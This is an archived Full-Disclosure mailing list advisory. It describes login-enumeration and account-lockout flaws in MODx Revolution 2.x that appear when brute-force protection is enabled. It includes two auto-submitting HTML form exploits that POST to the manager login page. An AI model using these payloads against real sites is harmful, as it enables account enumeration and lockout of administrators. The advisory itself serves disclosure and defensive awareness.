[<prev] [next>] [day] [month] [year] [list]
Message-ID: <004701cdedeb$3042e400$9b7a6fd5@pc>
Date: Tue, 8 Jan 2013 23:57:15 +0200
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>
Subject: New vulnerabilities in MODx Revolution
Hello list!
I want to warn you about two new vulnerabilities in MODx Revolution. This is
addition to previous publication about vulnerabilities in MODx Revolution
(http://securityvulns.ru/docs28923.html).
These are Abuse of Functionality vulnerabilities in MODx related to earlier
mentioned Brute Force hole. It's about 2.x (Revolution) versions of MODx.
After disclosing at 27.12.2012 previous vulnerabilities in MODx Revolution,
one reader of my site wrote in comments about possibility to turn on BF
protection to protect against BF attacks. This is the same protection as in
MODx Evolution, about which I've wrote
(http://securityvulns.ru/docs28825.html) and I described its weaknesses.
Since I've seen only sites on Revolution with this protection turned off, so
I wrote about Brute Force hole in this engine (and this protection isn't
reliable enough). It's all to default settings - protection must be on by
default and its settings must be sufficient enough. Besides this BF
protection is weak by itself and rarely used at web sites in Internet, it
also brings two new holes - similar to those ones in Evolution, about which
I've wrote (http://securityvulns.ru/docs28822.html). So at 31.12.2012 I've
wrote in comments and in publication at my site about these two
vulnerabilities and provided new exploits (they are different from exploits
for Evolution, due to the code changes in Revolution).
-------------------------
Affected products:
-------------------------
Vulnerable are all versions of MODx Revolution (2.x versions of engine).
They are possible only if BF protection is turned on.
----------
Details:
----------
Abuse of Functionality (Login Enumeration) (WASC-42):
In login form (http://site/manager/) Login Enumeration is possible. If
blocking isn't triggering after three requests (as can be set at the site),
then there is no such login in the system, i.e. the blocking works only for
working logins. The attack is possible, when blocking is turned on.
So by sending three (by default) POST requests per verifiable login, it'll
possible to pick up working logins. To use for attacks on earlier mentioned
Brute Force vulnerability.
Exploit:
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/manager/" method="post">
<input type="hidden" name="username" value="test">
<input type="hidden" name="password" value="test">
<input type="hidden" name="login" value="1">
</form>
</body>
Abuse of Functionality (WASC-42):
After finding of login with above-mentioned vulnerability it's possible to
abuse blocking of accounts. After three unsuccessful attempts (as can be set
at the site) the account is blocking (including account of the
administrator). By persistent sending of requests to this functionality (by
three incorrect requests), it's possible to persistently put the account in
blocked state (including account of the administrator).
Exploit:
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/manager/" method="post">
<input type="hidden" name="username" value="test">
<input type="hidden" name="login" value="1">
</form>
</body>
------------
Timeline:
------------
2012.12.31 - disclosed at my site (http://websecurity.com.ua/5981/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists